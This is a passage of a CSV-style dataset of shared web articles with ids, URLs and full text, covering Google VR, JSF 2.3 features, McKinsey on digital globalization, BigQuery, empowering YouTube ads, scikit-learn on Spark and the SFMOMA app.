cameras. Consider that Google acquired Tilt Brush, one of the best VR painting apps and a killer VR app in general. It currently runs on HTC Vive off a PC, using the Vive's advanced motion controllers. But imagine using Tilt Brush on mobile. James Martin/CNET VR-recording cameras, too Google's Jump array of GoPro cameras, unveiled last year at Google I/O, was a stopgap measure to create immersive 360-degree video for entrepreneurs. But now more commoditized, polished 360-degree cameras are popping up for both everyday and professional use. Google could launch a new camera specifically tooled for VR. And, considering the explosion of filmmakers interested in 360-degree video, and how few really great VR cameras exist yet, it could be another helpful step to ease VR ""filmmaking."" And Google might throw in some new ideas...or, new toolsets and apps.",en
1462560217,CONTENT SHARED,5165953265902526320,4670267857749552625,-8979363093776014877,,,,HTML,http://www.agricultura.gov.br/politica-agricola/zoneamento-agricola,Zoneamento Agrícola - MAPA,"O Zoneamento Agrícola de Risco Climático é um instrumento de política agrícola e gestão de riscos na agricultura. O estudo é elaborado com o objetivo de minimizar os riscos relacionados aos fenômenos climáticos e permite a cada município identificar a melhor época de plantio das culturas, nos diferentes tipos de solo e ciclos de cultivares.",pt
1462560263,CONTENT SHARED,6910763794618680440,2062670502532932588,5100455041335502868,,,,HTML,https://dzone.com/articles/javaserver-faces-23-1,JavaServer Faces 2.3 Quick Reference - DZone Java,"Introduction JSR 372 is currently in the Early Draft Review stage. The JSF 2.3 spec is not complete and will likely change significantly before finalization. In the meantime, here's a pragmatic deep-dive into JSF 2.3 in its current state. For more resources, see JavaServer Faces 2.3 Tutorial and JSF 2.3 Repository Examples . CDI Alignment Injection and EL Resolving of JSF artifacts As you probably know, JSF uses static entry methods and chaining to let the user obtain the various artifacts that it provides, such as the FacesContext, session map, external context, etc. However, this is pretty verbose and sometimes hard to intuit and understand. JSF 2.3 will therefore provide default producers for the most important artifacts, which at the moment are: FacesContext #{facesContext} ExternalContext #{externalContext} UIViewRoot #{view} ServletContext #{application} Flash #{flash} Application Map #{applicationScope} Session Map #{sessionScope} View Map #{viewScope} Request Map #{requestScope} Flow Map #{flowScope} Header Map #{header} Cookie Map #{cookie} Init Param Map #{initParam} Request Param Map #{param} Request Values Map #{paramValues} Header Values Map #{headerValues} Resource Handler #{""resource""} The following artifacts are not injectable: Composite Component (#{cc}), Component (#{component}), Request (#{request}), Session (#{session}) Must Read Injection and EL resolving of JSF artifacts (by Arjan Tijms) Related JSF 2.3 Injection and EL resolving of JSF artifacts Injection in More JSF Artifacts JSF 2.0 provides very modest support for injection in JSF artifacts. In JSF 2.1, very few JSF artifacts were injection targets. Starting with JSF 2.2, injection is possible in many more artifacts (check Mastering JavaServer Faces 2.2 ), but as the specification says, converters, validators, and behaviors are still not injection targets. It seems that this will be available from JSF 2.3. Until JSF 2.3, there were a few tricks to obtain validators/converters eligible for injection: Until JSF 2.3 - Custom Validator Eligible For @Inject You probably remember the days when you did this to obtain validators/converters eligible for injection: Until JSF 2.3 - Custom Converter Eligible For @Inject A more complicated task is using @EJB for injecting Enterprise JavaBeans (EJB) session beans. In this case, we need to manually lookup the EJB session bean from Java Naming and Directory Interface (JNDI). When the EJBs are deployed in a Web application ARchive (WAR), the lookup is generally of the following type: When the EJBs are in an Enterprise ARchive (EAR), the common lookup type is as follows: Inject EJB Bean From WAR Inject EJB Bean From EAR Starting with JSF 2.3 this gap has been filled and we can inject (using @Inject) in @FacesConverter (javax.faces.convert.Converter), @FacesValidator (javax.faces.validator.Validator), and @FacesBehavior (javax.faces.component.behavior.Behavior): Specify a new attribute called ""managed"" on the corresponding annotations; Add into WEB-INF the faces-config.xml with JSF 2.3 XSD (needed for JSF 2.3 milestones); In milestones, you need to manually add the JSF 2.3 XSD, as below: Must Read Injection in more JSF artifacts (by Arjan Tijms) Related JSF 2.3 Converters, validators, and behaviors as injection targets Lifecycle System Event Published After View Rendered As you probably know, JSF 2.2 comes with a significant number of events, but none of them are published right after the view is rendered. In other words, the PreRenderViewEvent event doesn't have a ""friend"" like PostRenderViewEvent. Well, starting with JSF 2.3 this is not true anymore, because PostRenderViewEvent is available and comes to add consistency to JSF events suite. Subscribe via <f:event> From Page to Listen for PostRenderViewEvent ( example ) Subscribe Programatically to Listen for PostRenderViewEvent From a Custom Component ( example ) And, the output will be: Obviously, PostRenderViewEvent hits processEvent() after encodeEnd(), which means that the rendering process is over. Must Read System event published after view rendered (by Arjan Tijms) Related Just tested JSF 2.3 PostRenderViewEvent under Payara 4.1 Java API Support for the Iterable/Map Interface in UIData and UIRepeat Iterating in UIData (e.g. <h:dataTable>) JSF 2.2 supports the List, native array, and JSF specific DataModel as input for its value binding; you can directly use the Iterable (e.g. Set, Queue); for Map you can use the OmniFaces function, of:mapToList() ; since Iterable is directly supported, you can use it as #{fooBean.fooMap.entrySet()} or #{fooBean.fooMap.keySet()} or#{fooBean.fooMap.values()}; supports the List, native array, and JSF specific DataModel as input for its value binding; you can directly use the Iterable (e.g. Set, Queue); you can use Map directly: Iterating in UIRepeat (e.g. <ui:repeat>) JSF 2.2 supports the List, native array, and JSF specific DataModel as input for its value binding; for Iterable (e.g. Queue, Set) you can use the OmniFaces function, of:iterableToList() ; for Set only (especially useful to Hibernate/JPA users, who are usually using the Set collections for entity relationships) you can use the OmniFaces function, of:setToList() ; if EL 2.2 is present, for Iterable, you can use toArray() (e.g. #{fooBean.fooIterable.toArray()}); for Map you can use the OmniFaces function, of:mapToList() ; if EL 2.2 is present, for Map, you can use toArray() (e.g. #{fooBean.fooMap.entrySet().toArray()} or #{fooBean.fooMap.keySet().toArray()} or #{fooBean.fooMap.values().toArray()}); JSF 2.3 supports the List, native array and JSF specific DataModel as input for its value binding you can use directly the Iterable (e.g. Set, Queue) Must Read Support for the Iterable interface in UIData and UIRepeat (by Arjan Tijms) Support for the Map interface in UIData and UIRepeat (by Arjan Tijms) Related JSF 2.0-2.3 Progress of Iterable/Map support in UIData/UIRepeat (OmniFaces support via utility functions) Support for Custom Types in UIData and UIRepeat JSF 2.3 will provide support for custom types in UIData and UIRepeat. With @FacesDataModel custom DataModel wrappers can be registered. Check the figure below: Usage involve two steps: register your wrapper by annotating it with @FacesDataModel designates the type this wrapper is able to handle via forClass attribute Wrapper Model Use Collection in Your Beans In Data Table - It Works out of the Box With @FacesDataModel custom DataModel wrappers can be registered, but those wrappers cannot (yet) override any of the build-in types. Must Read Support for custom types in UIData and UIRepeat (by Arjan Tijms) JSF 2.3 new feature: registrable DataModels (by Arjan Tijms) Related Registrable DataModels Example Type-Safety Generics for ExternalContext#getInitParameterMap In JSF 2.2 the ExternalContext#getInitParameterMap() returns a raw Map. Starting with JSF 2.3, this method was extended to support generics types. JSF 2.2 - Raw Map JSF 2.3 - Map<String, String> Generics for Converter and Validator Interfaces As you probably know, in JSF 2.2 we can write a custom converter by extending the Converter interface, and a custom validator by extending the Validator interface. The methods defined in these interfaces works with Object class. Starting with JSF 2.3, Converter and Validator have now been parameterized and implementations can concisely define the exact input type. Mojarra 2.3.0-m04 Converter Snippet of Source Code Mojarra 2.3.0-m04 Validator Snippet of Source Code For example, let's suppose that we have the following simple class: We can convert/validate a string against this class by indicating the User type in our converter/validator: JSF 2.3 Custom Converter With Defined Type ( example ) JSF 2.3 Custom Validator With Defined Type ( example ) In JSF 2.3, you can still write custom converters/validators as in JSF 2.2. If you don't want to take advantage of the new generic parameters, you can use the classical approach. Must Read Generics for Converter and Validator interfaces (by Arjan Tijms) Related JSF 2.3 Take advantage of the new generic parameters in Converter<T> and Validator<T> Configuration Facelets default non-hot reload in production JSF has the ability to cache Facelets. In order to update the cache, JSF performs periodic checks of Facelets views changes. In the development stage, you may need to perform this check much more often than in production. For this, you can set the javax.faces.FACELETS_REFRESH_PERIOD context parameter as shown in the following example (the value represents the number of seconds between two consecutive checks). 5 Seconds Timeout There are two special values: -1 means no refresh (cache indefinitely) 0 means no caching at all (always hot reload) Starting with JSF 2.3, when the project stage is Production (default) the Facelets refresh period is -1 (no refresh). Must Read Facelets default to non-hot reload in production (by Arjan Tijms) Conversion/Validation Class-level Bean Validation on CDI-Based Backing Beans JSF 2.2 has several limitations in using Bean Validation. One of them involves the fact the JSF cannot validate the class or method level constraints (so called, cross‐field validation), only field constrains. JSF 2.3 will come with a new tag named, <f:validateWholeBean/>. As its name suggest, this tag is enables class level validation. This tag contains two important attributes: value - A ValueExpression referencing the bean to be validated. validationGroups - A comma-separated list of validation groups. A validation group is a fully-qualified class name. This feature causes a temporary copy of the bean referenced by the value attribute, for the sole purpose of populating the bean with field values already validated by <f:validateBean/> and then performing class-level validation on the copy. Regardless of the result of the class-level validation, the copy is discarded. JSF 2.3 Class-Level Validation ( example ) Here is a brief example to ensure that the provided name and e-mail fields (contacts) are individually valid and also the e-mail start with that name (e.g. valid: nick, nick_ulm@yahoo.com). ContactValidator Class Implementation Note that a ContactBean instance is passed to the isValid() method. This method will only be called if the individual properties of the ContactBean are valid. This fact allows the isValid() method to inspect the properties and perform effective class-level validation. ValidContact Class Implementation ContactBean Class Implementation This is the backing Bean: ContactGroup Interface Implementation Facelets View The following feature must explicitly be enabled by setting the following application parameter (context parameter) in web.xml: javax.faces.validator.ENABLE_VALIDATE_WHOLE_BEAN. If this parameter is not set, or is set to false, this tag must be a no-op: Must Read Class level bean validation (by Arjan Tijms) Related JSF 2.3 Class-level bean validation on CDI based backing beans JSR 310 Alignment JSF 2.3 will have Java 8 as a minimum dependency. One of the affected artifacts is the <f:convertDateTime/> built-in converter which has been updated in order to support new types for the type attribute, and, depending on the value of the type attribute, the converter will use the java.text.SimpleDateFormat or java.time.format.DateTimeFormatter class for formatting. The upcoming JSF 2.3 now adds new possible values for the type attribute, as follows: localDate, localTime, localDateTime, offsetTime, offsetDateTime, zonedDateTime Simple Bean Using offsetTime Using offsetDateTime Using zonedDateTime When the converter type attribute value is date, time or both, JSF (2.2 and 2.3) uses the java.text.SimpleDateFormat class. Starting with JSF 2.3, when the converter type attribute value is localDate, localTime, localDateTime, offsetTime, offsetDateTime or zonedDateTime, the java.time.format.DateTimeFormatter class will be used. Must Read JDK 8 time support in f:convertDateTime (by Arjan Tijms) Related JSF 2.3 align the <f:convertDateTime/> to the new data and time classes in JDK 8 (JSR 310) Networking Starting with JSF 2.3-m05 we can take advantage of a brand new feature - register a web socket push connection in client side . Thanks to the JSF team (especially to Bauke Scholtz (aka BalusC) ) this feature is available in today milestone via <f:websocket/> tag. R egister a web socket push connection in client side Let's see an example of using the <f:websocket/>. In JSF page, we need to add the <f:websocket/> tag with its two required attributes: channel - This is javax.el.ValueExpression that must be evaluated to String and it represents the name of the web socket channel. A channel name is restricted to alphanumeric characters, hyphens, underscores and periods. A channel can have multiple open web sockets, and each of these sockets will receive the same push notification from the server. onmessage - This is javax.el.ValueExpression that must be evaluated to String and it represents the a JavaScript listener function that is automatically invoked when a push notification is received from the server. The signature of the listener function for onmessage is of type: So, a simple <f:websocket/> tag usage will look like this: By default, when we start the application, the web socket is automatically connected and open. As long as the document is open the web socket is open. When the document is unloaded the web socket is automatically closed. In the web socket is initially successfully connected but the connection is closed as a result of e.g. a network error or server restart, JSF will try to auto-reconnect it at increasing intervals. Now, let's focus on the server side. Here we have to take into account the push messages mechanism. This mechanism is based on javax.faces.push.PushContextinterface and javax.faces.push.Push API. First, you need to know that by default the web socket is application scoped. This means that the managed bean that can push messages to this web socket must be in application scope (annotated with @ApplicationScope). In this case, the push message can be sent by all users and the application itself. Furthermore, you have to inject PushContext via @Push annotation on the given channel name in any CDI/container managed artifact. For example: Finally, we need to write an action method capable to push messages to web socket via PushContext. For example: Let's glue everything together. First, the JSF page: Next, our simple CDI bean: For those implementations that do not support adding an EndPoint dynamically (at the moment only GlassFish/Tyrus), a fake one has to be defined by the application. As BalusC pointed out, this fake endpoint should look like below: Finally, the m05 requires the following settings in web.xml: Done! The complete application was tested under Payara server and it is available here . Must Read WebSocket integration (by Arjan Tijms)",en
1462563129,CONTENT SHARED,6754313450809254838,-8694104221113176052,-1927529153237319078,,,,HTML,http://www.mckinsey.com/business-functions/strategy-and-corporate-finance/our-insights/five-priorities-for-competing-in-an-era-of-digital-globalization,Five priorities for competing in an era of digital globalization,"As digital flows command a growing share of trade and economic growth, executives must answer new questions. Globalization, once measured largely by trade in goods and cross-border finance, is now converging with digitization. Enormous streams of data and information are transmitted every minute-circulating ideas and innovations around the world via email, social media, e-commerce, video, and more. As these sprawling digital networks connect everything, everyplace, and everyone, companies must rethink what it means to be global. Our latest research quantifies the economic impact of this shift and suggests five critical areas of focus for executives and top teams. The new trade in bits To measure the economic impact of digital globalization, we built an econometric model based on the inflows and outflows of goods, services, finance, people, and data for 97 countries around the world. We found that over a decade, such flows have increased current global GDP by roughly 10 percent over what it would have been in a world without them. This added value reached $7.8 trillion in 2014 alone. Data flows directly accounted for $2.2 trillion, or nearly one-third, of this effect-more than foreign direct investment. In their indirect role enabling other types of cross-border exchanges, they added $2.8 trillion to the world economy. These combined effects of data flows on GDP exceeded the impact of global trade in goods. That's a striking development: cross-border data flows were negligible just 15 years ago. Over the past decade, the used bandwidth that undergirds this swelling economic activity has grown 45-fold, and it is projected to increase by a factor of nine over the next five years (exhibit). Beyond creating value in their own right, digital flows are transforming more traditional ones. Some 50 percent of the world's traded services are already digitized and that share is growing. About 12 percent of the global trade in goods is conducted via international e-commerce. Digitization is facilitating flows of people too, as AirBnB, TripAdvisor, and other websites provide information that enables travel. Meanwhile, the growth of trade in goods has flattened. That's a stark reversal from previous decades, which saw it rise from 13.8 percent ($2 trillion) of world GDP in 1985 to 26.6 percent ($16 trillion) of world GDP on the eve of the Great Recession. Weak demand and plummeting commodity prices account for a large part of this recent deceleration, though trade in both finished and intermediate manufactured goods has also stalled since the crisis. In parallel, many companies are reconsidering the risks and complexity of managing long supply chains-and placing greater importance on speed to market and other costs of doing business and less on labor costs. As a result, more production is occurring in countries where goods are consumed. Looking forward, 3-D technology could further erode international trade as some goods are printed at their point of consumption. These shifts make it unlikely that global trade in goods will resume its previous brisk growth. Would you like to learn more about the McKinsey Global Institute? Visit our Technology & Innovation page Open platforms, virtual goods, and 'digital wrappers' Behind the scenes, the largest corporations have been building platforms to manage suppliers, connect to customers, and enable internal communication and data sharing. While many platforms are internal, the biggest and best known are more open: spanning e-commerce marketplaces, social networks, and digital-media platforms, they connect hundreds of millions of global users. These open platforms give businesses enormous built-in customer bases and ways to interact with customers directly. They also create markets with global scale and transparency: with a few clicks, customers can get details on products, services, prices, and alternative suppliers from anywhere in the world. That makes markets function more efficiently, disrupting some intermediaries in the process. What's more, digital platforms are helping companies that deliver digital goods and services to enter new international markets without establishing a physical presence there. They also give millions of small and midsize businesses global exposure and an export infrastructure. On eBay's platform, anywhere from 88 to 100 percent of these relatively modest companies export-compared with less than 25 percent of traditional ones in the 18 countries the company analyzed. Also growing rapidly is trade in virtual goods, such as e-books, apps, online games, and music downloads, as well as streaming services, software, and cloud-computing services. As the cost of 3-D printing declines, this trade could expand to new categories-for instance, companies could send digital files to output goods locally. A lot of companies already use 3-D printing for replacement parts and supplies in far-flung locations. Many companies are adding digital wrappers to raise the value of their offerings. Logistics firms, for example, use sensors, data, and software to track physical shipments. One study found that radio-frequency-identification (RFID) technology can help to reduce inventory costs by up to 70 percent while improving efficiency. Case studies in Germany, including the logistics centers of BMW and Hewlett-Packard, found that the technology reduced losses in transit by 11 to 14 percent. Grounding the digital dialogue Business models built for 20th-century globalization may not hold up as digitization gains ground. As leaders take stock of the opportunities and threats, five questions can help ground the discussion: 1. Do we have a clear view of the competitive landscape? Competition is intensifying as digital platforms allow companies of any size, anywhere, to roll out products quickly and deliver them to new markets. Amazon now hosts two million third-party sellers, while some ten million small businesses have become merchants on Alibaba platforms. The growing trend toward ""micromultinationals"" is seen most clearly in the United States, where the share of exports by large multinational corporations dropped from 84 percent in 1977 to 50 percent in 2013. New digital competitors from all over the world are unleashing pricing pressures and speeding up product cycles. 2. Do we have the right assets and capabilities to compete? Building digital platforms, online customer relationships, and data centers is not just for the Internet giants anymore. GE, for example, is transforming its core manufacturing capabilities to establish itself as a global leader in Internet of Things technology. Businesses in all industries need to take a fresh look at their assets, including customer relationships and market data, and consider whether there are new ways to make money from them. To do so, they will need advanced digital capabilities, a major source of competitive advantage, and workers with cutting-edge skills are in short supply. Online talent platforms can help companies navigate a more global labor market and find the people they need in far-flung places. 3. Can we simplify our product strategy? Digitization can simplify the tailoring of products, brands, and pricing for companies that sell into multiple global markets. But there's a parallel trend toward more streamlined global product portfolios. Several automakers have moved in this direction. Apple offers only a limited number of its iPhone and iPad models, all with consistent design and branding wherever they are sold. Airbnb, Facebook, and Uber have simply scaled up their digital platforms in country after country, with limited customization. The media and consumer-technology industries are shifting to simultaneous global product launches, since social and other digital platforms enable consumers around the world to see, instantaneously, what's on offer in other countries. This development creates opportunities for products to go viral on an unprecedented scale. Making smart customization trade-offs, in short, is becoming an increasingly important top-management priority. 4. Should we retool our organization and supply chain? Digital globalization: The new era of global flows Read the article Digital tools for remote collaboration and instant communication make it possible to centralize some global functions (such as back-office operations or R&D), to create virtual global teams that span borders, or even to forgo having one global headquarters location. Unilever, for example, used technology solutions to streamline some 40 global service lines and create virtual-delivery organizations with team members around the world who meet via videoconference. Digital technologies are also reshaping supply chains. Digital ""control towers"" that offer up-to-the-minute visibility into complex supply chains, for instance, can coordinate global vendors in real time. Since speed to market matters more than ever in a digital world, many companies are reevaluating the merits of lengthy and complex supply chains; logistics costs, lead times, productivity, and proximity to other company operations now have a higher priority. According to a recent UPS survey, approximately one-third of high-tech companies are moving their manufacturing or assembly closer to end-user markets. The wider adoption of 3-D printing technologies could lead more companies to reconsider where to base production, potentially reshaping the world's manufacturing value chains in the process. 5. What are the new risks? Maintaining data security has to be a top priority for companies in every industry. It's difficult to stay ahead of increasingly sophisticated hackers, but companies can prioritize their information assets, test continually, and work with frontline employees to emphasize basic protective measures. In addition, the Internet and international competition have cut into the window of exclusivity that companies once enjoyed for new products and services; copycat versions can be launched in new markets even before the originators have time to scale up. The economic impact of digitization is growing, and digital competition often spans borders. As digital tools create new possibilities for building and managing a global presence, business leaders must challenge long-held assumptions about the international competitiveness of their companies. For the full report on which this article is based, see "" Digital globalization: The new era of global flows ."" About the author(s) Jacques Bughin is a director of the McKinsey Global Institute (MGI) and a director in McKinsey's Brussels office; Susan Lund is a principal at MGI and is based in the Washington, DC, office; James Manyika is a director of MGI and a director in the San Francisco office. Article - McKinsey Quarterly Book Excerpt - McKinsey Global Institute",en
1462563851,CONTENT SHARED,4625350031392752392,-1032019229384696495,-5381545755928873151,,,,HTML,http://techcrunch.com/2016/05/06/google-connects-bigquery-to-google-drive-and-sheets/,Google connects BigQuery to Google Drive and Sheets,"Google today announced that it is bringing some of its Google Cloud Platform and Google Apps tools a little bit closer together. BigQuery, Google's serverless analytics data warehousing service, will now be able to read files from Google Drive and access spreadsheets from Google Sheets . There has long been something of a firewall between Google's cloud computing services and its more consumer/enterprise-centric Google Apps productivity suite. As a Google spokesperson told me, though, the company is now moving to find better ways to integrate its services and create more unified solutions that bring together tools like Google Apps and Google Cloud Platform. ""As Diane Greene has mentioned several times, customers use multiple Google<> products and we can provide the best experience by working across our enterprise teams to create unified solutions,"" the spokesperson told us. ""Specifically, this integration lowers barriers to adoption by simplifying data workloads and creating a new pathway for enterprise customers to easily use Google Cloud Platform and Google Apps."" So here is what you can do now: Google will now allow BigQuery users to export results right to Google Sheets, its Excel competitor. In addition, BigQuery will also now be able to directly access files from Google Drive for analysis without having to first load them into BigQuery and the service can also directly query Google Sheets spreadsheets now as you edit them. Google Drive can stores files up to 5 TB in size . BigQuery can easily handle significantly bigger databases but chances are most people who will want to use it through Google Drive will be working with significantly smaller files. While BigQuery can get pricey once you start looking at very large databases, the first terabyte of data processes each month is free, so if you want to give it a try with a smaller dataset and have a few large spreadsheets in Google Drive, it's worth a try. Featured Image: Google /Google",en
1462564019,CONTENT SHARED,5037221949349729844,-1032019229384696495,-5381545755928873151,,,,HTML,https://www.thinkwithgoogle.com/articles/youtube-empowering-ads-engage.html?utm_source=Gplus&utm_medium=social&utm_campaign=Think,Susan Wojcicki on the Effectiveness of Empowering Ads on YouTube,"Ads that empower women don't just generate impressions, they leave them. They are more likely to be seen, shared, and remembered. Susan Wojcicki, CEO of YouTube, explains why this is a such a tremendous opportunity for savvy brands and enlightened creative agencies. The girl says to the doll, ""I'll make believe that I am you."" With those seven words, Mattel introduced the world to Barbie, America's first fashion doll. The original commercial, which aired in 1959 (and of course is up on YouTube), shows Barbie in various outfits, from ball gowns to bathing suits. But then, as the music crescendos, we hear those seven words against a lasting image: Barbie in a wedding dress. That's the kind of advertising both my mother and I grew up with. Women in commercials were portrayed as either mothers or models, wives or waitresses, with few depictions of the diverse lives we could lead outside of our relationships to men or children. If we weren't arm candy, we were eye candy, as scantily clad women promoted everything from beer to cheeseburgers to gym memberships. Women ages 18-34 are twice as likely to think highly of a brand that made an empowering ad. [[callout-headline-1]] But recently, we've seen some brave advertisers portray women and girls in a new light, one focused on breaking down stereotypes, rather than reinforcing them. From Always' #LikeAGirl to Nike's #BetterForIt , women are being encouraged, celebrated, held up not for how they look but for what they can accomplish. And while the latest research from the American Psychological Association shows that sex doesn't actually sell , it's clear on YouTube that empowerment engages. In the past year, the number of empowering advertisements that appeared on our Ads Leaderboard -our monthly tracker of the most watched ads on YouTube-more than doubled. 1 A big reason for that trend is that people are choosing to watch them; the top 10 empowering ads were two-and-a-half times less likely to be skipped than their peers. 2 To highlight this movement, we've collected those top 10 ads into a special Empowering Ads Leaderboard , featuring those that performed best on YouTube. [[inline-video-1]] These ads don't just generate impressions, they leave impressions. Women ages 18-34 are twice as likely to think highly of a brand that made an empowering ad and nearly 80% more likely to like, share, comment, and subscribe after watching one. 3 We also ran ad recall studies on eight of the campaigns on the Empowering Ads Leaderboard, and all performed in the top 25% of their categories, with most in the top 10%. 4 [[callout-headline-2]] So if empowering ads are so effective, why are we only seeing them now? Partly because women are being called upon to advertise to women. Despite the disappointing fact that only 11% of creative directors are women, 5 half of the creatives responsible for the empowering ads on our Leaderboard were women. 6 With women expected to control two-thirds of consumer spending in the U.S. over the next decade, 7 creative agencies would be wise to empower women not just in their ads but in their own ranks. But I believe another big reason for the rise of these ads isn't just the artist, it's the canvas. With YouTube, brands can break free of the 30- or 60-second spot to tell rich, nuanced stories. They can take advantage of the creative freedom our platform allows to tackle complex issues like glass ceilings or gender violence . Dove's Real Beauty Sketches , a video many consider the start of this trend, was a three-minute meditation on women's self-image, something you simply couldn't imagine airing on TV during a commercial break. [[inline-video-2]] And perhaps most importantly, social media gives women viewers a voice and opportunity to talk back. We've seen sexist or regressive ads draw an increased number of critical comments and dislikes from both men and women on our platform, while hashtags like #WomenNotObjects and #NotBuyingIt have led thousands to critique ads and boycott brands. I'm incredibly proud of the role YouTube has played in bringing more textured, inspiring stories to life and I'm prouder still that a community of engaged fans is consistently watching and engaging with them. It goes to show that people are hungry for creative that empowers, rather than objectifies. Savvy brands and enlightened creative agencies have a tremendous amount to gain by satisfying those appetites. As for Barbie, she's got a new look and a new ad. In the campaign, called "" Imagine the Possibilities ,"" we see young girls giving a college lecture to a room full of surprised students, treating a sick animal, taking a business call at the airport and coaching a men's soccer team. At the end of the ad, we realize the girls are imagining their own future as they play with their Barbie dolls. The message is still ""I'll make believe that I am you,"" but this time Barbie's wearing a lab coat, not a wedding dress. It's been watched more than 20 million times. This op-ed originally appeared in the April 2016 Adweek Women's Issue . Sources 1 YouTube data, U.S., 2014-2015. 2 Compared to their peers in similar categories. YouTube Data, U.S., 2013-2015. 3 Google Consumer Survey, U.S., February 2016. (n=1,500 women, ages 18-34) 4 There were ad recall studies featuring eight of the empowering ads from 2015 considered for our Leaderboard. All of the empowering ads were best-in-class and drove significant lift in ad recall, with all performing in the top 25% of their peer set and the majority in the top 10% of their peer set. 5 6 YouTube Data, U.S., 2013-2015. 7 Susan Wojcicki CEO of YouTube",en
1462565926,CONTENT SHARED,-7959318068735027467,-1443636648652872475,5477701302452297236,,,,HTML,https://databricks.com/blog/2016/02/08/auto-scaling-scikit-learn-with-spark.html,Auto-scaling scikit-learn with Spark,"Data scientists often spend hours or days tuning models to get the highest accuracy. This tuning typically involves running a large number of independent Machine Learning (ML) tasks coded in Python or R. Following some work presented at Spark Summit Europe 2015, we are excited to release Scikit-learn integration package for Spark that dramatically simplifies the life of data scientists using Python. This package automatically distributes the most repetitive tasks of model tuning on a Spark cluster, without impacting the workflow of data scientists: When used on a single machine, Spark can be used as a substitute to the default multithreading framework used by scikit-learn ( Joblib ). If a need comes to spread the work across multiple machines, no change is required in the code between the single-machine case and the cluster case. Scale data science effortlessly Python is one of the most popular programming languages for data exploration and data science, and this is in no small part due to high quality libraries such as Pandas for data exploration or scikit-learn for machine learning. Scikit-learn provides fast and robust implementations of standard ML algorithms such as clustering, classification, and regression. Scikit-learn's strength has typically been in the realm of computing on a single node, though. For some common scenarios, such as parameter tuning, a large number of small tasks can be run in parallel. These scenarios are perfect use cases for Spark. We explored how to integrate Spark with scikit-learn, and the result is the Scikit-learn integration package for Spark. It combines the strengths of Spark and scikit-learn with no changes to users' code . It re-implements some components of scikit-learn that benefit the most from distributed computing. Users will find a Spark-based cross-validator class that is fully compatible with scikit-learn's cross-validation tools. By swapping out a single class import, users can distribute cross-validation for their existing scikit-learn workflows. Distribute tuning of Random Forests Consider a classical example of identifying digits in images. Here are a few examples of images taken from the popular digits dataset, with their labels: We are going to train a random forest classifier to recognize the digits. This classifier has a number of parameters to adjust, and there is no easy way to know which parameters work best, other than trying out many different combinations. Scikit-learn provides GridSearchCV, a search algorithm that explores many parameter settings automatically. GridSearchCV uses selection by cross-validation, illustrated below. Each parameter setting produces one model, and the best-performing model is selected. The original code , using only scikit-learn, is as follows: from sklearn import grid_search, datasets from sklearn.ensemble import RandomForestClassifier from sklearn.grid_search import GridSearchCV digits = datasets.load_digits() X, y = digits.data, digits.target param_grid = {""max_depth"": [3, None], ""max_features"": [1, 3, 10], ""min_samples_split"": [1, 3, 10], ""min_samples_leaf"": [1, 3, 10], ""bootstrap"": [True, False], ""criterion"": [""gini"", ""entropy""], ""n_estimators"": [10, 20, 40, 80]} gs = grid_search.GridSearchCV(RandomForestClassifier(), param_grid=param_grid) gs.fit(X, y) The dataset is small (in the hundreds of kilobytes), but exploring all the combinations takes about 5 minutes on a single core. The scikit-learn package for Spark provides an alternative implementation of the cross-validation algorithm that distributes the workload on a Spark cluster. Each node runs the training algorithm using a local copy of the scikit-learn library, and reports the best model back to the master: The code is the same as before, except for a one-line change: from sklearn import grid_search, datasets from sklearn.ensemble import RandomForestClassifier # Use spark_sklearn's grid search instead: from spark_sklearn import GridSearchCV digits = datasets.load_digits() X, y = digits.data, digits.target param_grid = {""max_depth"": [3, None], ""max_features"": [1, 3, 10], ""min_samples_split"": [1, 3, 10], ""min_samples_leaf"": [1, 3, 10], ""bootstrap"": [True, False], ""criterion"": [""gini"", ""entropy""], ""n_estimators"": [10, 20, 40, 80]} gs = grid_search.GridSearchCV(RandomForestClassifier(), param_grid=param_grid) gs.fit(X, y) This example runs under 30 seconds on a 4-node cluster (which has 16 CPUs). For larger datasets and more parameter settings, the difference is even more dramatic. Get started If you would like to try out this package yourself, it is available as a Spark package and as a PyPI library . To get started, check out this example notebook on Databricks . In addition to distributing ML tasks in Python across a cluster, Scikit-learn integration package for Spark provides additional tools to export data from Spark to python and vice-versa. You can find methods to convert Spark DataFrames to Pandas dataframes and numpy arrays. More details can be found in this Spark Summit Europe presentation and in the API documentation . We welcome feedback and contributions to our open-source implementation on Github (Apache 2.0 license). Sign up for a 14-day free trial of Databricks. Get started Today",en
1462565938,CONTENT SHARED,163780025692404854,-3390049372067052505,7589557671334785717,,,,HTML,http://www.wired.com/2016/05/sfmoma-audio-tour-app/,The SFMOMA's New App Will Forever Change How You Enjoy Museums,"Most app-based museum tours work like this: Stop at an artwork, tap in a number, wait for the commentary. But SFMOMA's app was designed to keep your phone in your pocket and your eyes on the art. Codeveloped with a company called Detour, it uses your phone's location-sensing tech to precisely triangulate your position in the museum based on a hi-res virtual map created for the museum by Apple. That way it knows exactly where you are and where you're going-and adjusts its audio accordingly. SFMOMA's chief content officer, Chad Coerver, calls the app ""a cross between This American Life and the movie Her ."" And indeed it cops to its slightly eerie capabilities at the outset. When you fire up the app, the voice of public radio veteran Marianne McCune greets you: ""The guides will tell you where to go. They'll wait for you, because they know where you are too. [ awkward pause ] Oh, that sounds creepy-it's not."" The tours themselves, says Keir Winesmith, head of SFMOMA's digital platforms, can range from ""philosophical and emotional"" to ""hilarious and strange."" If you prefer the latter, select the ""This Is Not an Artwork"" tour. Actors Martin Starr and Kumail Nanjiani of HBO's Silicon Valley debate whether Marcel Duchamp's urinal, a Dada classic, is a stunning masterpiece or merely junk. ""Museum Hack"" is a Red Bull-paced tour designed for visitors who'd rather be playing GTA V . Or listen to French high-wire walker Philippe Petit muse on Mark Rothko's troubled relationship with his art: ""The more people celebrated his work, the more he became skeptical ... Can painting really be transcendent?"" If you have more practical needs, a Find the Nearest Bathroom button provides point-to-point audio cues, nudging you in the right direction. It's an experience that feels immersive and intuitive. And if all that artistic transcendence is too much for you, switch to the ""Neighborhood for Art"" tour. It takes you out of SFMOMA and into the surrounding area, revealing the museum in the context of the wider world.",en
